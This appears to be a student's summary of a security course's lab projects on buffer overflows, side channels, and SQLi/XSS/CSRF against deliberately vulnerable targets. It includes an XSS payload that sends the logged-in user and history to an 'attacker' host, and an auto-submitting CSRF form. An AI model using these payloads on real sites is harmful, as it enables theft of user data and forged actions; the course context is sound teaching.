This class covered practical computer security across binaries, operating systems, and the web. The main “projects” were all about exploiting deliberately vulnerable targets so we could see how real attacks work and how defenses are supposed to stop them.


Project 1 – x86 & GDB

The first assignment was about working directly at the machine level:

_start:
    movl 0(%esp), %ebx      # argc
    cmpl $2, %ebx
    jne  bad_usage          # require exactly one argument

    movl 8(%esp), %ecx      # argv[1]
    ; ... scan for '\0' and write() it ...

This set the stage for later binary exploitation work by making the stack layout feel concrete instead of abstract.


Project 2 – Stack Layout & Buffer Overflows

The next set of tasks used small C programs with intentional bugs so we could see how buffer overflows rewrite control flow:

Conceptually, each solution was of the form:

import sys

buf  = b"A" * OFFSET_TO_RET   # padding up to saved return address
addr = (0xDEADBEEF).to_bytes(4, "little")  # target address

sys.stdout.buffer.write(buf + addr)

Project 3 – Side-Channel Attacks

This project explored information leaks that don’t rely on classic memory corruption.

Timing-based Side Channel (timehack.c)

unsigned long start = rdtsc();
check_pass(guess);
unsigned long end   = rdtsc();
unsigned long cycles = end - start;

Memory-based Side Channel (memhack.c)

void handle_segv(int sig) {
    siglongjmp(jumpout, 1);  // recover from a fault
}

Together, these showed that even when code is “safe” from obvious bugs, timing and memory behavior can leak sensitive information.


Project 4 – Web Security: SQLi, XSS, CSRF

The final project moved to web application security using a deliberately vulnerable site.

SQL Injection

Cross-Site Scripting (XSS)

setTimeout(() => {
  const user = document.getElementById("logged-in-user").innerText;
  const last = document.querySelector(".history-item").innerText;
  fetch("http://attacker/?u=" + encodeURIComponent(user) +
        "&q=" + encodeURIComponent(last));
}, 1000);

Cross-Site Request Forgery (CSRF)

<form id="csrf" method="POST" action="https://target-site/login" style="display:none">
  <input name="username" value="attacker">
  <input name="password" value="examplepass">
  <!-- optionally: <input name="csrf_token" value="..."> -->
</form>
<script>document.getElementById("csrf").submit();</script>

This project tied together server-side bugs (SQLi), client-side script injection (XSS), and browser trust assumptions (CSRF), emphasizing both the attacker’s perspective and why defenses like prepared statements, output encoding, and CSRF tokens are necessary.